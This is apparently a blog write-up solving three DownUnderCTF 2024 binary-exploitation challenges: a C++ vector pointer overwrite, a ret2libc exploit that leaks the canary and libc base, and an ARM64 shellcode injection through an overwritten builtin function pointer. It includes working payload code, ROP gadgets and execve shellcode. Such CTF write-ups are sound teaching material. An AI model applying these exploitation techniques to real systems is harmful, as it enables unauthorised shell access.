[PWN - Writeup] [vector overflow - yawa - pac shell] DownUnderCTF 2024

 ( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )
(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)

Table of Content

Vector Overflow

it is an easy challenge that focuses on the vector of CPP

source code

our target is to overwrite the vector values to be "DUCTF" not "XXXXX" and pass the check of the size (5), our buf is above the vector so the overflow on "buf" will control the vector ptr, so if we check the buf address we will understand the structure of the vector.

if we breakpoint on "main+73" to check the size function it will return the size of it (we will need this)

so my idea is to overwrite the ptr in the vector at "0x4051f0" to point to my buf "0x4051e0" and our buffer will contain "DUCTF" string to pass, but it is that easy? let's try the following payload

payload = b"DUCTF\x00\x00\x00"
payload += p64(0)
payload += p64(0x4051e0)

in GDB the "rax" which is the size and it is not 5 so what really happen?

i just jumped into the size function to understand what is really doing

in the "sub" instruction there it takes the address and the next value of it and sub it together and return the value as the size so we have to make this return 5, so we have to add "0x4051e5" after our pointer so when it sub together will return 5, and this is the final payload

payload = b"DUCTF\x00\x00\x00"
payload += p64(0)
payload += p64(0x4051e0)
payload += p64(0x4051e5)

and we got the shell on the server. [solve script]


it is a simple ret2libc challenge.

there is an overflow in the name variable, we enter a name and just print it (we can use this for a leak ;-))

and on the stack it looks like that, our buffer and there is a canary and the return addr (libc addr) so we can leak it using our buffer input 

to leak the canary i used the following payload

payload = b"A" * (8*10) + b"B"*8
io.sendlineafter(b"> ", b"1")

io.sendlineafter(b"> ", b"2")
canary = u64( b"\x00"+io.recvline()[:-2] )

to leak the libc address which is after the canary

# leak the libc
payload = b"A" * ((8*13)-1)
io.sendlineafter(b"> ", b"1")

io.sendlineafter(b"> ", b"2")
libc.address = u64( io.recvline()[:-1].ljust(8, b"\x00") ) - 0x29d90

We have the canary and the libc base address its time to write our ROP chain, and I used this part to get the shell on the server and I used "ret" before the system calls to fix the alignment.

pop_rdi = libc.address + 0x000000000002a3e5 # : pop rdi ; ret
ret = libc.address + 0x0000000000029139# : ret
system_addr = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))

# control rip
payload = b"A" * (8 * 11)
payload += p64(canary)
payload += p64(0)
payload += p64( pop_rdi )
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_addr)

io.sendlineafter(b"> ", b"1")


# trigger the ret
io.sendlineafter(b"> ", b"3")

and DONE. [solve script]

Pac Shell

it is an ARM challenge and a simple shell that gives you a controlled write what where using the address of the function that is allowed in the list but there is an integrity check on the address before calling.

i used "gdb-multiarch" with "qemu-aarch64-static" to run the binary and debug it.

we have mean functions in the binary source code
  • help: print the addresses of the allowed functions from the "BUILTINS" list
  • ls: just execute "system('ls')"
  • read64: read a pointer from the user to print its value.
  • write64: takes a pointer and a hex value and write the value into this pointer.
allowed functions list

main function

read, write, ls functions

help function

what ideas I have (or tried)?
  • First: use the write function to replace the value "ls" with "/bin/sh" and call the "ls" function.
  • Second: overwrite the allowed list and a new function address.
the first idea did not work because of the "ls" string in the executable page of the binary so I could not replace it (but this was wired and we will know why), i got a SIGFUALT when i tried it.

so I tried to write into the other pages to see where I can write and I found these pages (I really don't know how can write into page "0x5500020000-0x5500021000" because it is "r--p" but it works if u know to ping me plz on Twitter (@flex0geek))

0x5500012000 0x5500013000 rw-p 1000 2000 ./pacsh
0x5500020000 0x5500021000 r--p 1000 10000 ./pacsh
0x5501820000 0x550184c000 rw-p 2c000 0 [stack:1]
0x550185d000 0x550185f000 rw-p 2000 2b000 [linker]

now with the second idea (will work ;-)), i checked the controlled pages and one of these pages has the allowed address list for functions, so using this we can point to anywhere on the binary and the execution will start from this point

so what we will do 
  1. is calculate the base elf address using the address from the help function.
  2. will write a shellcode anywhere we can.
  3. replace any function address from the BUILTINS list with our shellcode address.
  4. call this function to hit our shellcode.
Used shellcode after hours of fails

i just took this opcode and wrote it in the right places with the needed string "/bin/sh" into our shellcode place and it looks like the following (ptr -> our shell address)

ptr+00: 0068732f6e69622f # /bin/sh
ptr+08: d280000190000000 # adrp x0, 0 ; mov x1, #0x0
ptr+10: d2801ba8d2800002 # mov x2, #0x0 ; mov x8, #0xdd
ptr+18: d4000001 # svc #0

and it works

we got the flag now ;-). [solve script]

Thanks for reading.

وعن جابر بن عبد الله رضي الله عنهما قال: سمعت رسول الله صلى الله عليه وسلم يقول: أفضل الذكر لا إله إلا الله، وأفضل الدعاء الحمد لله. رواه ابن ماجه والترمذي وحسنه.


Popular posts from this blog

Exploit & Debug Looney Tunables CVE-2023-4911 Local Privilege Escalation in the glibc's ld.so

Lets Analysis STM32F103 Chip Firmware from Attify

[Debug/Exploit CVE-2022-24355] TP-Link TL-WR940N Stack-based Buffer Overflow